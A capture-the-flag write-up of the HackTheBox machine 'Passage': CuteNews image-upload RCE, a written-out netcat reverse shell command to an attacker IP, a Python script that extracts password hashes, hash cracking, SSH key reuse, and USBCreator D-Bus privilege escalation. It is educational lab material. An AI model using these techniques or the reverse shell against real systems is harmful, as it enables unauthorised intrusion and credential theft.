HackTheBox Writeup — Passage

This is my writeup for the HackTheBox machine ‘Passage’, which runs a Linux OS and is one of the ‘Medium’ rated machines.

1. Passage Info Card

Summary

A web application supported by Fail2Ban means we have to do some manual enumeration, leading to us finding a CuteNews CMS v2.1.2 installation that is vulnerable to RCE via Image Upload. After getting a reverse shell we find some strange .PHP files that contains base64 encoded text. Decoding all of these with a python script reveals some hash values which once cracked lets us login as Paul as grab user.txt. We find that another user on the box ‘nadav’ uses Paul’s SSH key for remote access, so we use this to pivot to the ‘nadav’ user. Finally, to get root we exploit sud

1. Enumeration and Initial Foothold

I began my enumeration with an nmap scan.

# Nmap 7.80 scan as: nmap -sV -p- -T4 -oN scan 10.10.10.206
Nmap scan report for 10.10.10.206
Host is up (0.027s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Heading over to the web app, we can see some form of news/blog application. The most recent post states Fail2Ban has been implemented, which blocks IP addresses showing signs of malicious activity. This means we cannot brute-force directories/files.

2. Web App Landing Page and Fail2Ban

Some manual enumeration shows that this application is powered by CuteNews PHP News Management System. This was shown at the bottom of the home page, and within some HTML source code links, where we also find two potential usernames and a hostname paul@passage.htb and nadav@passage.htb. A quick google search for the CuteNews login page tell’s us to append /CuteNews/ to the root of the URL and this works, along with getting the version number v2.1.2.

3. Potential Usernames, Hostname and CuteNews Login Page

Unfortunately we don’t have any credentials, but we do have a version number so I searched ExploitDB and found two potential RCE exploits. One with Metasploit and another manual exploit , both exploiting an authenticated (even low privilege users) RCE vulnerability via the ‘avatar’ Image upload. Let’s do it manually.

First we register a user and download a random image of the Internet. Next, let’s use `exiftool` to embed a PHP shell command within the `dice.png` file.

4. Using Exiftool to Embed a Malicious Shell Command.

Next we need to upload it as the avatar for our newly created low-privilege user on the CuteNews CMS.

5. Malicious Image Upload

Next, we need to intercept the request with BurpSuite and alter the filename from dice.png to dice.php and forward the request on to the web server.

6. Altering Upload File Extension from .png to .php

Finally, once we access all the uploaded images and add ?cmd= to the end of the image, we get code execution!

7. Remote Code Execution / Command Injection

Using a netcat reverse shell ( nc -e /bin/sh 10.10.14.58 7777 ) with a netcat listener open we get a shell on the box as `www-data`.

8. Initial Foothold as www-data

2. User Shell — Paul

Enumerating the web directory /var/www/html/CuteNews/cdata/users/ finds a number of strange php files, with all the content inside base64 encoded.

9. Examples of Strange PHP Files Content

I put the contents of all these files into one text file, transferred this back to my machine and wrote a quick python3 to help sort the data. The script and explanation is below.

  • open the text file in ‘read text’ mode;
  • iterate over each line in the file and removing any data that was not a base64 encoded string;
  • decode the base64 strings and look for data concerning the users identified earlier in the HTML source code;
  • remove duplicates from the output and only output the content with hash values present.
#!/usr/bin/env python3
import base64 as b64
inp_file = open('out.txt', 'rt')
unique = set()
for lines in inp_file:
each_line = lines.replace("<?php die('Direct call - access denied'); ?>", "")
if each_line.strip():
decoded = b64.b64decode(each_line)
if "paul@passage.htb" in str(decoded) or "nadav@passage.htb" in str(decoded):
unique.add(str(decoded))
for item in unique:
if len(item) > 300:
print(item, "\n")
inp_file.close()
10. Identifying User Password Hashes

Cool, looks like we have the password hashes for paul and nadav. Putting these into Crackstation identifies them as SHA265 hashes and cracks them easily.

11. Crackstation — Cracked Passwords.

Trying SSH didn’t work, but when we try logging in as Paul using su we get a shell and user.txt.

12. User Shell (Paul) and User.txt

3. User Shell — Nadav

Performing some enumeration with Paul doesn’t look promising, so maybe we need to escalate to nadav. Luckily, nadav is defined in Paul’s SSH Public Key, meaning we can use Paul’s SSH Private Key to get a shell as nadav.

13. Nadav Public Key in Paul’s SSH Directory
14. User Shell (Nadav) via Paul’s SSH Private Key.

4. Root

Running LinPeas, we find that the box has ‘USBCreator’ installed and this has identified it as ‘vulnerable’. Following some further research we find that USBCreator’s D-Bus interface is vulnerable to local privilege escalation, providing the current user is in the sudoers group.

Let’s check that — (I forgot to screenshot, my bad) — a replicated output will have to do.

nadav@passage:-$ id
uid=1000(nadav) gid=1000(nadav), 4(adm), 24(cdrom), 27(sudo), etc...

This vulnerability was released in June 2019 and there’s a really in-depth blog post about it here.

TL;DR on the vulnerability: I won’t repeat too much of the technical details from the post, but in short:- this vulnerability allows us to write-to/copy-data-from sensitive files on the filesystem due to a lack of password prompts with privileged actions (i.e. root privileges) and due to a lack of input sanitisation on user-controlled input, which gets directly passed to the unix tool dd.

This means we can use this to overwrite file such as /etc/shadow and change the root password, but since we’ve seen SSH is heavily used on this box lets copy root’s SSH private key into a file.

15. Dumping Root’s SSH Private Key via gdbus

Proof of the copied SSH private key for root.

16. Proof of Dumping Root SSH Private Key

… And finally, the root shell via SSH and the root flag :)

17. Root Shell and Root.txt

Conclusion

Thanks for reading and keep an eye out for future writeups! Feedback is always welcome through, and my HackTheBox profile is linked below :)

--

--

--

MSc Cyber Security Student at Lancaster University. Mostly posting CTF writeups from HackTheBox, TryHackMe and VulnHub.

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

{UPDATE} Stacky Cup Hack Free Resources Generator

{UPDATE} Trivial World Quiz Hack Free Resources Generator

{UPDATE} Caminata: Deportivo vestir. Saga de moda Hack Free Resources Generator

Are you prepared for a website security breach?

{UPDATE} Belle forberede skoledager - gratis jente spill Hack Free Resources Generator

Find Out Anything You Want About Anyone Online: Here’s How

Edward Snowden Reveals He Was One of Six Who Helped Launch Zcash

Russia, US in Top 3 for Crypto-Related Threats, Cybersecurity Report Unveils

Russia, US in Top 3 by Crypto-Related Threats, Cybersecurity Report Unveils
Jack Roberts

Jack Roberts

MSc Cyber Security Student at Lancaster University. Mostly posting CTF writeups from HackTheBox, TryHackMe and VulnHub.

More from Medium

Tryhackme crackme0019301933 writeup.

HTB: Valentine Writeup w/o Metasploit

Simple CTF Walkthrough — TryHackMe

HackTheBox Writeup — Previse